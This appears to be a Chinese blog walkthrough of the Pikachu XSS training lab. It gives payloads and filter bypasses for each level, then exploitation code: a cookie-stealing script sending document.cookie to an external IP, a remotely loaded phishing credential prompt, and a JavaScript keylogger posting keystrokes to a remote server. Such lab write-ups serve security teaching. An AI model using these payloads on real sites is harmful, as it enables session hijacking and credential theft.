XSS漏洞-pikachu靶场

XSS概括

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者向web页面插入恶意script代码,当用户浏览网页时,嵌入其中的恶意代码会被执行从而达到攻击的目的。

XSS分类

  • 反射型XSS:反射型XSS也叫非持久性XSS,用户访问一个带有XSS的html请求,服务器接收数据后处理,然后把带有XSS的数据返回,浏览器解析后执行XSS内容,这个过程就像一次反射。
  • 持久型XSS:存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。
  • DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

pikachu题解

反射型XSS(get)

GET方式提交的XSS漏洞更加容易被利用,一般利用方式时直接将带有XSS的URL发送给目标。

F12 修改输入长度限制后

<script>alert(1)</script>

反射型XSS(post)

抓包发现消息被url转义发送
在这里插入图片描述
在这里插入图片描述
构造闭合:

</p><script>alert(1)</script>

储存型XSS

留言板里输入

<script>alert(1)</script>

DOM型xss

通过dom获得输入后写入id=dom中。
在这里插入图片描述

' onclick=alert(1)>

构成 <a href='' onclick=alert(1) >

DOM型xss-x

构造a标签闭合

'onclick=alert(1)>

其他payload

'><img src='#' onmouseover=alert(1)>

xss盲打

<script>alert(1)</script>

payload不会在当前页面执行,管理员查看时会执行。

xss过滤

  1. script关键字会被过滤
<script>alert(1)</script>

在这里插入图片描述

  1. 尝试双写绕过
<scri<script>pt>alert(1)</scri</script>pt>

同样被过滤

  1. 尝试大小写绕过
<ScRIPt>alert(1)</SCRipt>

注入成功

  1. script被过滤可以考虑其他类型的payload
<img src='#' onmouseover="alert(1)">

xss之htmlspecialchars

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:

字符转义
&quot
&&amp
>&lt
<&gt

<>!:;scriptAAA
查看源码在这里插入图片描述
发现<>被html转义

javascript:alert(1)

成功

xss之href输出

输入 ><script>alert(1)</script>
在这里插入图片描述
<>被转义尝试javascript伪协议

javascript:alert(1)

成功

xss之js输出

查看源码发现输入在js代码块中
构造js闭合

'</script> <script>alert(1)</script> 

在这里插入图片描述

XSS漏洞利用

cookie的盗取和利用

GET

在这里插入图片描述
js恶意脚本

<script>document.location = 'http://113.54.243.174/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookiee;</script>

用户发送给服务器时就会记录下cookie并发送至XSS后台

在这里插入图片描述
XSS后台

在这里插入图片描述
若是get请求方式,用户只要点击带有脚本参数的url就会自动发送cookie。

http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%20%3D%20’http%3A%2F%2F113.54.243.174%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D’%20%2B%20document.cookiee%3B%3C%2Fscript%3E&submit=submit

POST

参数在请求体中发送,无法把恶意代码嵌入到url中发送给用户。
攻击思路:
在这里插入图片描述
攻击者构建一个新的页面,页面功能为向存在XSS(post)漏洞的网页提交一个post请求,用户打开伪造的页面后恶意脚本获得用户cookie并向后台发送。
伪造界面代码:
在这里插入图片描述
用户访问后
在这里插入图片描述

钓鱼攻击

向有XSS漏洞的网页注入恶意代码,用户每次访问页面时就会弹出一个认证框,输入的内容储存在攻击者的服务器上。
恶意代码:

<script src="http://192.168.80.1/pikachu-master/pkxss/xfish/fish.php"></script>

在这里插入图片描述

XSS获取键盘记录

同源策略:为了安全考虑,所有浏览器都规定了同源策略,两个不同域名之间不能用js相互操作。x.com域名下的javascript不能操作y.com下的对象。如果想要跨域操作必须由管理员配置。( header(“Acess-Control-Allow-Origin:x.com”) )
以下标签加载特定类型资源不受同源策略影响

<script src = "...">
<img src = "...">
<link href= "...">
<iframe src= "...">
<script src="http://192.168.1.15/pikachu-master/pkxss/rkeypress/rk.js"></script>

可以将192.168.1.15加载到本地运行
一般情况下插入这段代码后由于同源策略会请求失败,但攻击者可以将自己搭建的攻击地址设置为允许所有人跨域请求

恶意js代码记录用户键盘输入

function onkeypress() {
    var realkey = String.fromCharCode(event.keyCode);
    xl+=realkey;
    show();
}

document.onkeypress = onkeypress;

function show() {
    ajax = createAjax();
    ajax.onreadystatechange = function () {
        if (ajax.readyState == 4) {
            if (ajax.status == 200) {
                var data = ajax.responseText;
            } else {
                alert("页面请求失败");
            }
        }
    }

    var postdate = xl;
    ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true);
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", postdate.length);
    ajax.setRequestHeader("Connection", "close");
    ajax.send(postdate);
}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值